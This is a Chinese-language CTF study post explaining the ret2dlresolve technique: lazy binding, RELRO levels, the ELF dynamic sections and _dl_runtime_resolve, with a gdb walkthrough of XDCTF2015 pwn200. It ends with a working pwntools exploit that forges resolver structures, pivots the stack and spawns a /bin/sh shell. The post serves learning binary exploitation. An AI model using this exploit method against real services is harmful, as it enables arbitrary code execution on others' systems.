Ret2dlresolve学习时光

Ret2dlresolve原理

启用动态链接的程序在调用函数时,会使用延迟绑定技术,即外部引入的函数真正调用时才会去解析该函数的虚拟地址,而这个动作实际上是需要通过got, plt表以及各个动态相关段来实现。

当第一次调用某外部引入函数(如readsystem等)时会调用_dl_runtime_resolve(linkmap, offset)进行函数地址解析,当得到某函数的具体加载地址后会回写got表项再直接调用该函数。

Ret2dlresolve攻击则是 在这一解析函数的过程中,对相关的结构体进行伪造,并通过控制参数或者结构体指针使得解析函数的具体逻辑能够找到我们构造的结构体,并解析出一个危险的函数地址,达成执行任意函数的目的。

具体的,动态链接器在解析符号地址时所使用的重定位表项、动态符号表、动态字符串表都是从目标文件中的动态节 .dynamic 索引得到的。所以如果我们能够修改其中的某些内容使得最后动态链接器解析的符号是我们想要解析的符号,那么攻击就达成了。

RELRO

1
2
3
4
5
RELRO(Relocation Read-Only)重定位段只读保护分为以下三个等级:

NO RELRO:保护未开的情况,所有重定位段均可写,包括.dynamic、.got、.got.plt;
Partial RELRO:部分开启保护,其为GCC编译的默认配置。.dynamic、.got被标记为只读,并且会强制地将ELF的内部数据段 .got ,.got.plt等放到外部数据段 .data、.bss之前,即防止程序数据段溢出改变内部数据段的值,从而劫持程序控制流。虽然.got标记为只读,但是.got.plt仍然可写,即仍然可以改写GOT表劫持程序控制流;
Full RELRO:继承Partial RELRO的所有保护,并且.got.plt也被标为只读。此时延迟绑定技术被禁止,所有的外部函数地址将在程序装载时解析、装入,并标记为只读,不可更改。此时不需要link_map以及dl_runtime_resolve函数,则GOT表中这两项数据均置为0,此时ret2dlresolve技术最关键的两项数据丢失,并且GOT表不可写。

Lazy Binding

延迟绑定技术(Lazy Binding),即在elf文件加载时并不直接全部解析所需外部导入的函数地址,而是在需要调用时再去使用dl_runtime_resolve函数进行解析。具体操作会涉及全局偏移表GOT(Global Offset Table)和过程链接表(Procedure Linkage Table)两个表。

PLT表与GOT表

1
2
3
4
1.GOT(Global Offset Tabal,全局偏移表)
GOT是数据段用于地址无关代码的Linux ELF文件中确定全局变量和外部函数地址的表。ELF中有.got和.plt.got两个GOT表,.got表用于全局变量的引用地址,.got.plt用于保存函数引用的地址。
2.PLT(Procedure Linkage Table,程序链接表)
PLT是linux ELF文件中用于延迟绑定的表。
1
2
1.不论是第几次调用外部函数,程序真正调用的其实是Plt表。
2.plt表其实是一段段汇编指令构成。
1
2
3
1.在第一次调用外部函数时,plt表首先会跳到对应的got表项中。
2.由于并没有被调用过,此时got表存储的并不是目标函数的地址,此时的got表中存储的地址是plt表中的一段指令,其作用就是准备一些参数,进行动态解析。
3.跳转回plt表后,plt表又会跳转回PLT表头,表头内容就是调用动态解析函数,将目标函数地址存放到got表中。

1

在之后第二次以上的调用后,程序已经完成了延迟绑定,got表中已经存储了目标函数的地址,直接跳转即可。

2

详细可参考:

Pwn基础:PLT&GOT表以及延迟绑定机制

3

节表知识

查看节表命令:readelf -d bof readelf -S bof

查看JMPREL(.rel.plt):readelf -r bof

查看SYMTAB(.dynsym):readelf -s bof

STRTAB——.dynstr 存字符串

SYMTAB——.dynsym 存动态链接符号表,结构如下Elf32_Sym:

JMPREL——.rel.plt 函数重定位 存Elf32_Rel{r_offset+r_info}(r_offset指向got表(.got.plt节全局函数偏移表)地址,r_info存偏移——第几个,根据r_info来找这个函数在.dynsym中是第几个)

REL—— .rel.dyn 变量重定位

PLTGOT—— .got.plt 常说的GOT表

.plt节 过程链接表,每个函数占0x10字节。过程链接表把位置独立的函数调用重定向到绝对位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
typedef uint32_t Elf32_Addr;
typedef uint32_t Elf32_Word;
typedef struct
{
Elf32_Word st_name; // Symbol name(string tbl index) 表示在.dynstr中的偏移
Elf32_Addr st_value; // Symbol value
Elf32_Word st_size; // Symbol size
unsigned char st_info; // Symbol type and binding
unsigned char st_other; // Symbol visibility under glibc>=2.2
Elf32_Section st_shndx; // Section index
} Elf32_Sym;

typedef struct {
Elf32_Addr r_offset; // 对于可执行文件,此值为虚拟地址
Elf32_Word r_info; // 符号表索引, r_info高8位表示index,低8位表示条目类型
} Elf32_Rel;

#define ELF32_R_SYM(info) ((info)>>8)
#define ELF32_R_TYPE(info) ((unsigned char)(info))
#define ELF32_R_INFO(sym, type) (((sym)<<8)+(unsigned char)(type))

接下来是_dl_runtime_resolve为找到对应函数绑定类型、绑定特征、回写地址以及最重要的标识符字符串等相关的结构体以及各个动态相关的节,如下表所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
===============================================
| Related sections | Structure |
===============================================
| .dynamic | Elf_Dyn entry |
+-----------------+-----------+---------------+
| Functions | Variables | --- |
+-----------------+-----------+---------------+
| .rel.plt | .rel.dyn | Elf_Rel entry |
+-----------------+-----------+---------------+
| .dynsym | .dynsym | Elf_Sym entry |
+-----------------+-----------+---------------+
| .dynstr | .dynstr | Strings |
+-----------------+-----------+---------------+

以上相关节可以在Linux中运行readelf -S elf_file找到

4

在IDA中查看的话,.dynamic节挨着got表,其余如.rel.plt.dyn.sym.dyn.str 等节在程序入口附近,上述节与elf头、程序头均被IDA视为与加载相关,都放在为LOAD段中

5

1
2
_dl_runtime_resolve这个函数在got[2]中,而got[0]got[1]分别是.dynamic和link_map。这两项可以理解为在调用_dl_runtime_resolve时候需要准备的。
在函数第一次调用的时候到got表中需要准备_dl_runtime_resolve的参数。首先jmp回plt表的一个位置。接着push 0x20,在栈上准备调用函数的参数。然后jmp到plt表的另一个地方push link_map的地址,这里也是在准备参数。后面jmp got[2] 调用_dl_runtime_solve对got表进行填充。下次再次调用函数时直接jmp .plt jmp .got进入函数真实地址
1
2
3
4
5
6
7
8
_dl_runtime_resolve函数具体运行模式:
1. 首先用link_map访问.dynamic,分别取出.dynstr、.dynsym、.rel.plt的地址
2. .rel.plt+参数relic_index,求出当前函数的重定位表项Elf32_Rel的指针,记作rel
3. rel->r_info >> 8 作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym
4. .dynstr + sym->st_name得出符号名 字符串指针
5. 在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表
6. 最后调用这个函数

.dynamic

.dynamic节则是存放了一些Elf64_Dyn或者Elf32_Dyn结构体

6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
typedef struct
{
Elf32_Sword d_tag; /* Dynamic entry type */
union
{
Elf32_Word d_val; /* Integer value */
Elf32_Addr d_ptr; /* Address value */
} d_un;
} Elf32_Dyn;

typedef struct
{
Elf64_Sxword d_tag; /* Dynamic entry type */
union
{
Elf64_Xword d_val; /* Integer value */
Elf64_Addr d_ptr; /* Address value */
} d_un;
} Elf64_Dyn; #位于/elf/elf.h

该节区会为链接器提供各类地址,其关键字d_tag定义如下:

1
2
3
4
5
6
7
8
9
10
#define DT_NEEDED    1        /* 所需library的名字 */
#define DT_PLTGOT 3 /* .got.plt表地址 */
#define DT_STRTAB 5 /* 字符串表地址 */
#define DT_SYMTAB 6 /* 符号表地址 */
#define DT_INIT 12 /* 初始化代码地址 */
#define DT_FINI 13 /* 结束代码的地址 */
#define DT_REL 17 /* 重定位表地址 */
#define DT_RELENT 19 /* 动态重读位表入口数量 */
#define DT_JMPREL 23 /* ELF JMPREL Relocation Table地址(got表地址) */
#define DT_VERSYM 0x6ffffff0
.dynstr

7

一个字符串表,记录了各个函数所对应的名称

动态链接最终将会通过一个偏移来从该表找到目标函数的名称,通过该名称进行搜索函数地址

.dynsym

8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;

typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;
#st_name:符号名称在.dynstr节区中的偏移量
#st_value:符号的值或地址
#st_size:符号的大小
#st_info:符号的类型和绑定属性
#st_other:符号的可见性
#st_shndx:符号所在的节区索引

st_name字段记录了一个相对偏移,链接器通过.dynstr+st_name来访问到函数名

link_map是描述已加载的共享对象的结构体,采用双链表管理,该数据结构保存在ld.so.bss段中。我们主要关注其中几个有意思的字段:

1
2
3
4
1. l_addr:共享对象的加载基址;
2. l_next,l_prev:管理link_map的双链表指针;
3. l_info:保存Elfxx_Dyn结构体指针的列表,用来寻找各节基址;如l_info[DT_STRTAB]指向保存着函数解析字符串表基址的Elfxx_Dyn结构体。
4. l_ld : 存放Dynamic地址

我们通过一个实例调试看一下:

XDCTF2015pwn200

9

gdb调试断点打在 call _strlen的位置

然后si进入strlen@plt10

我们看到程序没有直接转到strlen函数,而是跳转到了_dl_runtime_resolve函数;在_dl_runtime_resovle函数中,_dl_fixup()函数用于解析导入函数的真实地址,并改写GOT,并且push了两个参数:

1
2
push   0x10
push dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804a004>

其实就是_dl_runtime_resolve(link_map_obj, reloc_index)的两个参数,其中0x804a004是link_map指针,0x10是reloc_index

首先找到link_map的地址,顺道可以查看入栈的link_map内容:

11

第三个l_ld就是.dynamic的地址,即0x08049f0c,然后通过.dynamic来找到.dynstr、 .dynsym、 .rel.plt的地址:

.dynamic的地址加0x44的位置是.dynstr;
.dynamic的地址加0x4c的位置是.dynsym;
.dynamic的地址加0x84的位置是.rel.plt;

这个偏移如何得出的,还记得上面的关键字d_tag吗?其中DT_STRTAB的值是动态字符串表(.dynstr)在内存中的地址,

DT_SYMTAB的值是动态字符表(.dynsym)在内存中的地址,DT_JMPREL的值是过程链接表重定位表(.rel.plt)在内存中的地址,这三个标签相对.dynamic的偏移分别为0x44,0x4c , 0x84

12

然后用.rel.plt的地址加上参数reloc_index,即0x08048324 + 0x10找到函数的重定位表项Elf32_Rel的指针,记作rel;

13

得到:

1
2
r_offest = 0x0804a014  //指got表
r_info = 0x00000407

将r_info>>8,即0x00000407>>8 = 4作为.dynsym中的下标;
此时我们来到.dynsym的位置,去找找strlen函数的字符串偏移;

14

找地址偏移需要下标乘以0x10,所以name_offest = 0x20

然后用.dynstr的地址加上name_offset,就是这个函数的符号名字符串st_name;

15

最后在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表就可以了

利用思路:

1
2
3
4
事实上,虚拟地址是从st_name得来的,只要我们能够修改这个st_name的内容就可以执行任意函数,比如把st_name的内容修改为"system"
reloc_index即参数n是我们可以控制的,我们需要做的事通过一系列操作,把reloc_index可控转化为st_name可控;我们需要在一个可写地址上构造一系列伪结构就可以完成利用或在条件允许的情况下直接修改.dynstr
所以我们需要在程序中找一段空间start出来,放我们直接构造的fake_dynsym,fake_dynstr和fake_rel_plt等,然后利用栈迁移到手法将栈转移到start

计算reloc_index

objdump -s -j .rel.plt ./bof

  • relic_index = fake_rel_plt_addr - 0x8048324

16

计算r_info

objdump -s -j .dynsym ./bof

17

  • x = (欲伪造的地址 - .dynsym基地址)/ 0x10
  • r_info = x << 8 | 0x7
计算st_name

objdump -s -j .dynstr ./bof

18

  • st_name = fake_dynstr_addr - 0x804826c

构造的ROP:

1

exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context.log_level = 'debug'

name = './bof'
p = process(name)
#p = remote('node4.buuoj.cn',26588)
elf= ELF(name)
rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr #0x8048324
dynsym_addr = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr
resolve_plt = 0x08048370
leave_ret_addr = 0x08048445
start = 0x804a324 #需要内存对齐,且尽量远离bss段
fake_rel_plt_addr = start
fake_dynsym_addr = fake_rel_plt_addr + 0x8
fake_dynstr_addr = fake_dynsym_addr + 0x10
bin_sh_addr = fake_dynstr_addr + 0x7
#nindex_arg
n = fake_rel_plt_addr - rel_plt_addr
r_info = (((fake_dynsym_addr - dynsym_addr)/0x10) << 8) + 0x7
str_offset = fake_dynstr_addr - dynstr_addr
fake_rel_plt = p32(elf.got['strlen']) + p32(r_info)
fake_dynsym = p32(str_offset) + p32(0) + p32(0) + p32(0x12000000)
fake_dynstr = "system\x00/bin/sh\x00\x00"
pay1 = 'a'*108 + p32(start - 20) + p32(elf.plt['read']) + p32(leave_ret_addr) + p32(0) + p32(start - 20) + p32(0x100)
p.recvuntil('Welcome to XDCTF2015~!\n')
p.sendline(pay1)
pay2 = p32(0x0) + p32(resolve_plt) + p32(n) + 'aaaa' + p32(bin_sh_addr) + fake_rel_plt + fake_dynsym + fake_dynstr
p.sendline(pay2)
success(".rel_plt: " + hex(rel_plt_addr))
success(".dynsym: " + hex(dynsym_addr))
success(".dynstr: " + hex(dynstr_addr))
success("fake_rel_plt_addr: " + hex(fake_rel_plt_addr))
success("fake_dynsym_addr: " + hex(fake_dynsym_addr))
success("fake_dynstr_addr: " + hex(fake_dynstr_addr))
success("n: " + hex(n))
success("r_info: " + hex(r_info))
success("offset: " + hex(str_offset))
success("system_addr: " + hex(fake_dynstr_addr))
success("bss_addr: " + hex(elf.bss()))
p.interactive()